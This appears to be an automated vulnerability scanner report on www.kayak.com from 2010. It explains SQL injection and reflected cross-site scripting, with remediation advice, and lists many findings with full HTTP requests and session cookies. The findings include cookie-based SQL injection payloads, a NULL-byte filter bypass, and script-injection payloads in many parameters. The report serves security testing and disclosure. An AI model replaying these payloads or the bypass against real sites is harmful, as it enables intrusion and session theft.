SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.
Issue remediation
The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.
You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:
One common defense is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defense is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defense may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defense to be bypassed.
Another often cited defense is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.
The cluster cookie appears to be vulnerable to SQL injection attacks. The payloads 98934836'%20or%201%3d1--%20 and 98934836'%20or%201%3d2--%20 were each submitted in the cluster cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /h/newsletter/livedemo/deals HTTP/1.1 Host: www.kayak.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=498934836'%20or%201%3d1--%20; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;
The kayak cookie appears to be vulnerable to SQL injection attacks. The payloads 52589411'%20or%201%3d1--%20 and 52589411'%20or%201%3d2--%20 were each submitted in the kayak cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /s/search/hotel HTTP/1.1 Host: www.kayak.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T52589411'%20or%201%3d1--%20; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;
The cluster cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the cluster cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request 1
GET /s/sparkle HTTP/1.1 Host: www.kayak.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4%00'; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;
The cluster cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the cluster cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request 1
GET /vs/client%20page%20load/front%20door/flights/ms/475 HTTP/1.1 Host: www.kayak.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4%00'; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the location request parameter is copied into the HTML document as plain text between tags. The payload 210c6<script>alert(1)</script>1c93a182a2c was submitted in the location parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- Copyright 2004-2010 Kayak Software Corp, All Rights Reserved. ...[SNIP]... <label for="newlocation">More than one city matched "Boston, MA, US210c6<script>alert(1)</script>1c93a182a2c". Please select a city from the list below:</label> ...[SNIP]...
The value of the comparetosite request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 92c4a"%3balert(1)//58743e9da9463248c was submitted in the comparetosite parameter. This input was echoed as 92c4a";alert(1)//58743e9da9463248c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- Copyright 2004-2010 Kayak Software Corp, All Rights Rese ...[SNIP]... = "S_CMoe"; var _CURSYMBOL_WIDTH = 1; var _RIGHT_CURSYMBOL = ""; var _LEFT_CURSYMBOL = "$";
The value of the hid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 31287"><script>alert(1)</script>e932ef742466eda70 was submitted in the hid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
The value of the hid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9ca86"%3balert(1)//639ae536e4e48433b was submitted in the hid parameter. This input was echoed as 9ca86";alert(1)//639ae536e4e48433b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- Copyright 2004-2010 Kayak Software Corp, All Rights Rese ...[SNIP]... V"; var SessionID = "8-YYe9dThQxyBO7yoqqJx1"; var ServerURL = "http://www.kayak.com"; var RegisterURL = "https://www.kayak.com/k/ident/register"; var SearchURL = "http://www.kayak.com/hotels?hid=9ca86";alert(1)//639ae536e4e48433b&location=bos&citycode=25588&rooms=1&rating=0&checkin_date=null&checkout_date=null&travelers=1&guests=1&searchType=C&action=dohotels"; var CookiePrefix = "p1.med"; var CookieDomain = ".kayak.com";
The value of the lmid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f6158"><script>alert(1)</script>c28e08a5dae48e32f was submitted in the lmid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
The value of the lmid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ace19"%3balert(1)//dd3c454673bec4dd0 was submitted in the lmid parameter. This input was echoed as ace19";alert(1)//dd3c454673bec4dd0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- Copyright 2004-2010 Kayak Software Corp, All Rights Rese ...[SNIP]... ttps://www.kayak.com/k/ident/register"; var SearchURL = "http://www.kayak.com/hotels?hid=&location=bos&citycode=25588&rooms=1&rating=0&checkin_date=null&checkout_date=null&travelers=1&guests=1&lmid=ace19";alert(1)//dd3c454673bec4dd0&action=dohotels"; var CookiePrefix = "p1.med"; var CookieDomain = ".kayak.com";
var LogUserEvents = false; var LogVSEvents = true;
var OuterBgColor = "f3f3f3" || "fff"; var ResultBorderColor ...[SNIP]...
The value of the location request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 227c5"><script>alert(1)</script>8329b60304041e38d was submitted in the location parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
The value of the url request parameter is copied into the HTML document as plain text between tags. The payload ba1c1<script>alert(1)</script>b26c2e6eb85 was submitted in the url parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
The value of the url request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1bd51"><script>alert(1)</script>c948977f509 was submitted in the url parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
The value of the metacookie request parameter is copied into the HTML document as plain text between tags. The payload 8452a<script>alert(1)</script>e6ae2723914dd8f2a was submitted in the metacookie parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
<link rel="stylesh ...[SNIP]... <br/> Added new meta cookie, 'EASYCLICKTRAVELUS_HFDCMP28452a<script>alert(1)</script>e6ae2723914dd8f2a' with value 'true'<br> ...[SNIP]...
The value of the metavalue request parameter is copied into the HTML document as plain text between tags. The payload 1456c<script>alert(1)</script>b5a2bbca1ae65bdac was submitted in the metavalue parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
<link rel="stylesh ...[SNIP]... <br/> Added new meta cookie, 'EASYCLICKTRAVELUS_HFDCMP2' with value 'true1456c<script>alert(1)</script>b5a2bbca1ae65bdac'<br> ...[SNIP]...
2.12. http://www.kayak.com/k/profile/alerts [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.kayak.com
Path:
/k/profile/alerts
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 56995"><a>3ba554e87d0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /k/profile/alerts?56995"><a>3ba554e87d0=1 HTTP/1.1 Host: www.kayak.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;
The value of the h request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 82100"><script>alert(1)</script>34da5c71567 was submitted in the h parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /maps/geocoder?w=1&h=182100"><script>alert(1)</script>34da5c71567 HTTP/1.1 Host: www.kayak.com Proxy-Connection: keep-alive Referer: http://www.kayak.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; kayak=Z0gsTwHT79ulH4b$526T; p1.med.sid=3-dfohFUBsA8NPyE92DBsn; p1.med.token=imubEhgrlmFa4rEbnRuzxg; dc=dc2; cluster=4
The value of the w request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload de8a8"><script>alert(1)</script>9d025979f4c was submitted in the w parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /maps/geocoder?w=1de8a8"><script>alert(1)</script>9d025979f4c&h=1 HTTP/1.1 Host: www.kayak.com Proxy-Connection: keep-alive Referer: http://www.kayak.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; kayak=Z0gsTwHT79ulH4b$526T; p1.med.sid=3-dfohFUBsA8NPyE92DBsn; p1.med.token=imubEhgrlmFa4rEbnRuzxg; dc=dc2; cluster=4
The value of the s request parameter is copied into the HTML document as plain text between tags. The payload 37418<script>alert(1)</script>765e27781cc was submitted in the s parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 7b826<script>alert(1)</script>a794b685f31 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /v3497b826<script>alert(1)</script>a794b685f31/h/nvtl/califrame.vtl HTTP/1.1 Host: www.kayak.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;
Response
HTTP/1.1 400 Bad Request Server: Apache Context-Type: text/html Vary: Accept-Encoding Content-Type: text/plain; charset=UTF-8 Date: Sat, 13 Nov 2010 20:43:43 GMT Connection: close Content-Length: 547
<p> Your browser sent a request that this ser ...[SNIP]... <br> Request: /v3497b826<script>alert(1)</script>a794b685f31/h/nvtl/califrame.vtl</br> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload b2309<script>alert(1)</script>b09fc6c1142 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /v349b2309<script>alert(1)</script>b09fc6c1142/js/alien/jquery.js HTTP/1.1 Host: www.kayak.com Proxy-Connection: keep-alive Referer: http://www.kayak.com/v349/h/nvtl/califrame.vtl?lc=en.US&singleMonth=undefined&allowPast=false Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; kayak=Z0gsTwHT79ulH4b$526T; p1.med.sid=3-dfohFUBsA8NPyE92DBsn; p1.med.token=imubEhgrlmFa4rEbnRuzxg; dc=dc2; cluster=4
Response
HTTP/1.1 400 Bad Request Server: Apache Context-Type: text/html Vary: Accept-Encoding Content-Type: text/plain; charset=UTF-8 Date: Sat, 13 Nov 2010 21:17:40 GMT Connection: close Content-Length: 545
<p> Your browser sent a request that this ser ...[SNIP]... <br> Request: /v349b2309<script>alert(1)</script>b09fc6c1142/js/alien/jquery.js</br> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload c5b37<script>alert(1)</script>2938e996074 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 839e6<script>alert(1)</script>76b158de3ad was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload c16e7<script>alert(1)</script>1c0c371b68f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /v349c16e7<script>alert(1)</script>1c0c371b68f/js/fdcommon.js HTTP/1.1 Host: www.kayak.com Proxy-Connection: keep-alive Referer: http://www.kayak.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; kayak=Z0gsTwHT79ulH4b$526T; dc=dc2; cluster=4; p1.med.sid=3-dfohFUBsA8NPyE92DBsn; p1.med.token=imubEhgrlmFa4rEbnRuzxg
Response
HTTP/1.1 400 Bad Request Server: Apache Context-Type: text/html Vary: Accept-Encoding Content-Type: text/plain; charset=UTF-8 Date: Sat, 13 Nov 2010 21:17:36 GMT Connection: close Content-Length: 541
<p> Your browser sent a request that this ser ...[SNIP]... <br> Request: /v349c16e7<script>alert(1)</script>1c0c371b68f/js/fdcommon.js</br> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload d065f<script>alert(1)</script>5af12d80ae7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
<p> Your browser sent a request that this ser ...[SNIP]... <br> Request: /v349d065f<script>alert(1)</script>5af12d80ae7/js/fdflight.js</br> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 8cf05<script>alert(1)</script>8acf0a918a8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /v3498cf05<script>alert(1)</script>8acf0a918a8/js/fdhotel.js HTTP/1.1 Host: www.kayak.com Proxy-Connection: keep-alive Referer: http://www.kayak.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; kayak=Z0gsTwHT79ulH4b$526T; dc=dc2; cluster=4; p1.med.sid=3-dfohFUBsA8NPyE92DBsn; p1.med.token=imubEhgrlmFa4rEbnRuzxg
Response
HTTP/1.1 400 Bad Request Server: Apache Context-Type: text/html Vary: Accept-Encoding Content-Type: text/plain; charset=UTF-8 Date: Sat, 13 Nov 2010 21:17:36 GMT Connection: close Content-Length: 540
<p> Your browser sent a request that this ser ...[SNIP]... <br> Request: /v3498cf05<script>alert(1)</script>8acf0a918a8/js/fdhotel.js</br> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload d82d2<script>alert(1)</script>dfa36884ab6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
<p> Your browser sent a request that this ser ...[SNIP]... <br> Request: /v349d82d2<script>alert(1)</script>dfa36884ab6/js/fdvacation.js</br> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 4fad5<script>alert(1)</script>1d89520e953 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
<p> Your browser sent a request that this ser ...[SNIP]... <br> Request: /v3494fad5<script>alert(1)</script>1d89520e953/js/homeairport.js</br> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 581c7<script>alert(1)</script>7190f770f0c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 8ab64<script>alert(1)</script>90ed1f3cb48 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
<p> Your browser sent a request that this ser ...[SNIP]... <br> Request: /v3498ab64<script>alert(1)</script>90ed1f3cb48/js/newsletter.js</br> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 8138c<script>alert(1)</script>d7c17b7f749 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 6f7ba<script>alert(1)</script>202c601890 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /v3496f7ba<script>alert(1)</script>202c601890/js/r9cal.js HTTP/1.1 Host: www.kayak.com Proxy-Connection: keep-alive Referer: http://www.kayak.com/v349/h/nvtl/califrame.vtl?lc=en.US&singleMonth=undefined&allowPast=false Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; kayak=Z0gsTwHT79ulH4b$526T; p1.med.sid=3-dfohFUBsA8NPyE92DBsn; p1.med.token=imubEhgrlmFa4rEbnRuzxg; dc=dc2; cluster=4
Response
HTTP/1.1 400 Bad Request Server: Apache Context-Type: text/html Vary: Accept-Encoding Content-Type: text/plain; charset=UTF-8 Date: Sat, 13 Nov 2010 21:17:39 GMT Connection: close Content-Length: 537
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 5b1d1<script>alert(1)</script>75d332fc508 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
<p> Your browser sent a request that this ser ...[SNIP]... <br> Request: /v3495b1d1<script>alert(1)</script>75d332fc508/js/sparkle.js</br> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload ce3ca<script>alert(1)</script>b76e0401570 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
